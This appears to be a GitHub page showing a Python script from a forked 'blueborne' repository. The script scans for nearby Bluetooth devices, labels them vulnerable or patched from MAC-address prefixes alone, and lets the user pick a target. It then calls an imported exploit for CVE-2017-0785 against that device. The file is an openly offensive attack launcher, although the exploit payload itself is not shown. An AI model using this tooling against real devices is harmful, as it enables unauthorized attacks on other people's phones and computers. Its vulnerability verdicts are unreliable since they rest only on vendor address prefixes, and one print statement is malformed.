forked from pieterbork/blueborne
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bluebornescan.py
54 lines (46 loc) · 1.53 KB
/
bluebornescan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import time
import bluetooth
import vulndevices
import cve20170785
deviceMACs = vulndevices.get_devices()
class bcolors:
HEADER = '\033[95m'
BLUE = '\033[94m'
GREEN = '\033[92m'
ORANGE = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def is_device_vulnerable(addr):
for manufacturer, macs in deviceMACs.items():
if addr[:8] in macs:
return manufacturer
return None
def main():
print("searching for devices\n")
results = bluetooth.discover_devices(duration=20, lookup_names=True)
vuln_devices = []
if (results):
for addr, name in results:
vulnerable = is_device_vulnerable(addr)
if vulnerable:
vuln_devices.append((addr,name))
print("%s %s is " % (addr, name) + bcolors.RED + "vulnerable" + bcolors.ENDC)
else:
print("%s %s is" + bcolors.GREEN + "patched" + bcolors.ENDC)
if len(vuln_devices) > 0:
print(bcolors.ORANGE + "\nExploit" + bcolors.ENDC + "\n" + "-"*35)
for idx, dev in enumerate(vuln_devices):
print("[%s] %s %s" % (idx, dev[0], dev[1]))
selection = input(bcolors.GREEN + "\nchoice: " + bcolors.ENDC)
try:
sel = int(selection)
addr = vuln_devices[sel][0]
cve20170785.exploit(addr)
except:
print("Invalid selection")
else:
print(bcolors.GREEN + "No vulnerable devices found!" + bcolors.ENDC)
if __name__=="__main__":
main()